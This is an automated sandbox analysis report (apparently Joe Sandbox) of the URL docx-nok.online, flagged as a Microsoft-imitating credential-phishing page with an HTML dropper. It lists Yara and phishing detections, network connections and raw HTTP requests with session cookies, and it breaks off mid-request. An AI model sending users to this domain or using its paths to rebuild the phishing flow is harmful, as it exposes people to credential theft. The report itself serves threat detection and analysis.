Edit tour

Windows Analysis Report
https://docx-nok.online/

Overview

General Information

Sample URL:	https://docx-nok.online/
Analysis ID:	1428820
Infos:

Detection

HtmlDropper, HTMLPhisher

Score:	72
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Yara detected Html Dropper

Yara detected HtmlPhish10

Phishing site detected (based on image similarity)

Phishing site detected (based on logo match)

HTML body contains low number of good links

HTML page contains hidden URLs or javascript code

HTML title does not match URL

Invalid 'sign-in options' or 'sign-up' link found

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 6424 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://docx-nok.online/ MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 5960 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2196 --field-trial-handle=1960,i,2773275675352970223,11905223981876917908,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
2.7.pages.csv	JoeSecurity_HtmlDropper_3	Yara detected Html Dropper	Joe Security
2.7.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
2.6.pages.csv	JoeSecurity_HtmlDropper_3	Yara detected Html Dropper	Joe Security
2.6.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: https://docx-nok.online/

SlashNext: detection malicious, Label: Credential Stealing type: Phishing & Social Engineering

Phishing

Yara detected HtmlPhish10

Source: Yara match	File source: 2.7.pages.csv, type: HTML
Source: Yara match	File source: 2.6.pages.csv, type: HTML

Phishing site detected (based on image similarity)

Source: https://docx-nok.online/d740c10c7b9cf800d441f265844201e16622875f9f709LOGd740c10c7b9cf800d441f265844201e16622875f9f70a

Matcher: Found strong image similarity, brand: MICROSOFT

Phishing site detected (based on logo match)

Source: https://docx-nok.online/d740c10c7b9cf800d441f265844201e16622875f9f709LOGd740c10c7b9cf800d441f265844201e16622875f9f70a	Matcher: Template: microsoft matched
Source: https://docx-nok.online/d740c10c7b9cf800d441f265844201e16622875f9f709LOGd740c10c7b9cf800d441f265844201e16622875f9f70a	Matcher: Template: microsoft matched

Source: https://docx-nok.online/d740c10c7b9cf800d441f265844201e16622875f9f709LOGd740c10c7b9cf800d441f265844201e16622875f9f70a

HTTP Parser: Number of links: 0

Source: https://docx-nok.online/

HTTP Parser: Base64 decoded: https://docx-nok.online/

Source: https://docx-nok.online/d740c10c7b9cf800d441f265844201e16622875f9f709LOGd740c10c7b9cf800d441f265844201e16622875f9f70a

HTTP Parser: Title: Sign in to your account does not match URL

Source: https://docx-nok.online/d740c10c7b9cf800d441f265844201e16622875f9f709LOGd740c10c7b9cf800d441f265844201e16622875f9f70a

HTTP Parser: Invalid link: get a new Microsoft account

Source: https://docx-nok.online/	HTTP Parser: No favicon
Source: https://docx-nok.online/	HTTP Parser: No favicon
Source: https://docx-nok.online/	HTTP Parser: No favicon
Source: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/vb618/0x4AAAAAAADnPIDROrmt1Wwj/light/normal	HTTP Parser: No favicon
Source: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/vb618/0x4AAAAAAADnPIDROrmt1Wwj/light/normal	HTTP Parser: No favicon
Source: https://docx-nok.online/d740c10c7b9cf800d441f265844201e16622875f9f709LOGd740c10c7b9cf800d441f265844201e16622875f9f70a	HTTP Parser: No favicon
Source: https://docx-nok.online/d740c10c7b9cf800d441f265844201e16622875f9f709LOGd740c10c7b9cf800d441f265844201e16622875f9f70a	HTTP Parser: No favicon

Source: https://docx-nok.online/d740c10c7b9cf800d441f265844201e16622875f9f709LOGd740c10c7b9cf800d441f265844201e16622875f9f70a	HTTP Parser: No <meta name="author".. found
Source: https://docx-nok.online/d740c10c7b9cf800d441f265844201e16622875f9f709LOGd740c10c7b9cf800d441f265844201e16622875f9f70a	HTTP Parser: No <meta name="author".. found

Source: https://docx-nok.online/d740c10c7b9cf800d441f265844201e16622875f9f709LOGd740c10c7b9cf800d441f265844201e16622875f9f70a	HTTP Parser: No <meta name="copyright".. found
Source: https://docx-nok.online/d740c10c7b9cf800d441f265844201e16622875f9f709LOGd740c10c7b9cf800d441f265844201e16622875f9f70a	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 184.31.62.93:443 -> 192.168.2.18:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.31.62.93:443 -> 192.168.2.18:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.18:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.157.11:443 -> 192.168.2.18:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 131.253.33.200:443 -> 192.168.2.18:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.18:49756 version: TLS 1.2

Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.141.63
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.141.63
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.141.63
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.141.63
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.141.63
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.157.11
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.157.11
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.157.11
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.157.11
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.157.11
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.157.11

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: docx-nok.onlineConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_page/v1?ray=876dc5736c867b92 HTTP/1.1Host: docx-nok.onlineConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.149"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://docx-nok.online/?__cf_chl_rt_tk=dEnNWMoT1RjGZ5uDzVvh52lnn28exGDs8jACx.clUzY-1713538901-0.0.1.1-1557Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/471dc2adc340/api.js?onload=ZbqNq8&render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://docx-nok.onlinesec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: docx-nok.onlineConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.149"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://docx-nok.online/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1736105386:1713535998:CYTVeI83CkoB0ctzeZWb_Z14PECqxivQK0UVGDjsM1A/876dc5736c867b92/b9a92c2ac5a9fbe HTTP/1.1Host: docx-nok.onlineConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/vb618/0x4AAAAAAADnPIDROrmt1Wwj/light/normal HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=876dc57e0ff87bcf HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/vb618/0x4AAAAAAADnPIDROrmt1Wwj/light/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/vb618/0x4AAAAAAADnPIDROrmt1Wwj/light/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: docx-nok.onlineConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.149"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://docx-nok.online/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/2113343596:1713536042:z0Mz6ptvznMXor49lcX9vmU5GqwrNAa91JbxMzs_QqI/876dc57e0ff87bcf/86e27d6bbc5acfd HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/876dc57e0ff87bcf/1713538904216/ZhnC9eUuQVZ5DM0 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/vb618/0x4AAAAAAADnPIDROrmt1Wwj/light/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/876dc57e0ff87bcf/1713538904216/ZhnC9eUuQVZ5DM0 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/876dc57e0ff87bcf/1713538904224/8b21d532fd0fc07fa9c6884c1f3c7bea1f97e6034430a71051c4d69f0b0adb96/6vxr3lRydoc6S4F HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/vb618/0x4AAAAAAADnPIDROrmt1Wwj/light/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/2113343596:1713536042:z0Mz6ptvznMXor49lcX9vmU5GqwrNAa91JbxMzs_QqI/876dc57e0ff87bcf/86e27d6bbc5acfd HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/2113343596:1713536042:z0Mz6ptvznMXor49lcX9vmU5GqwrNAa91JbxMzs_QqI/876dc57e0ff87bcf/86e27d6bbc5acfd HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1736105386:1713535998:CYTVeI83CkoB0ctzeZWb_Z14PECqxivQK0UVGDjsM1A/876dc5736c867b92/b9a92c2ac5a9fbe HTTP/1.1Host: docx-nok.onlineConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: docx-nok.onlineConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.149"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://docx-nok.online/?__cf_chl_tk=dEnNWMoT1RjGZ5uDzVvh52lnn28exGDs8jACx.clUzY-1713538901-0.0.1.1-1557Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /d740c10c7b9cf800d441f265844201e16622875f9f709LOGd740c10c7b9cf800d441f265844201e16622875f9f70a HTTP/1.1Host: docx-nok.onlineConnection: keep-aliveCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-full-version: "117.0.5938.149"sec-ch-ua-arch: "x86"sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-model: ""sec-ch-ua-bitness: "64"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149"Referer: https://docx-nok.online/?__cf_chl_tk=dEnNWMoT1RjGZ5uDzVvh52lnn28exGDs8jACx.clUzY-1713538901-0.0.1.1-1557Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=Wrb8b9hUuaTrW4yTaY1qm7wgD6rYObBPb9off_hHPhU-1713538901-1.0.1.1-mcOLeJKXeF6sKt7XKo1vnxq7ubbEoyAsO1ZzOaB7K.UBYVEwlnB5wT6ilXI9y56.ucqluE5SaOv9utw8fRgZ1A; PHPSESSID=3caf9fba09da43ac153673133b588c21
Source: global traffic	HTTP traffic detected: GET /jq/0a6095cf83124146bdbff28bf2470f15662287604d11f HTTP/1.1Host: docx-nok.onlineConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.149"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://docx-nok.online/d740c10c7b9cf800d441f265844201e16622875f9f709LOGd740c10c7b9cf800d441f265844201e16622875f9f70aAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=Wrb8b9hUuaTrW4yTaY1qm7wgD6rYObBPb9off_hHPhU-1713538901-1.0.1.1-mcOLeJKXeF6sKt7XKo1vnxq7ubbEoyAsO1ZzOaB7K.UBYVEwlnB5wT6ilXI9y56.ucqluE5SaOv9utw8fRgZ1A; PHPSESSID=3caf9fba09da43ac153673133b588c21
Source: global traffic	HTTP traffic detected: GET /boot/0a6095cf83124146bdbff28bf2470f15662287604d125 HTTP/1.1Host: docx-nok.onlineConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.149"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://docx-nok.online/d740c10c7b9cf800d441f265844201e16622875f9f709LOGd740c10c7b9cf800d441f265844201e16622875f9f70aAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=Wrb8b9hUuaTrW4yTaY1qm7wgD6rYObBPb9off_hHPhU-1713538901-1.0.1.1-mcOLeJKXeF6sKt7XKo1vnxq7ubbEoyAsO1ZzOaB7K.UBYVEwlnB5wT6ilXI9y56.ucqluE5SaOv9utw8fRgZ1A; PHPSESSID=3caf9fba09da43ac153673133b588c21
Source: global traffic	HTTP traffic detected: GET /js/0a6095cf83124146bdbff28bf2470f15662287604d126 HTTP/1.1Host: docx-nok.onlineConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.149"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://docx-nok.online/d740c10c7b9cf800d441f265844201e16622875f9f709LOGd740c10c7b9cf800d441f265844201e16622875f9f70aAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 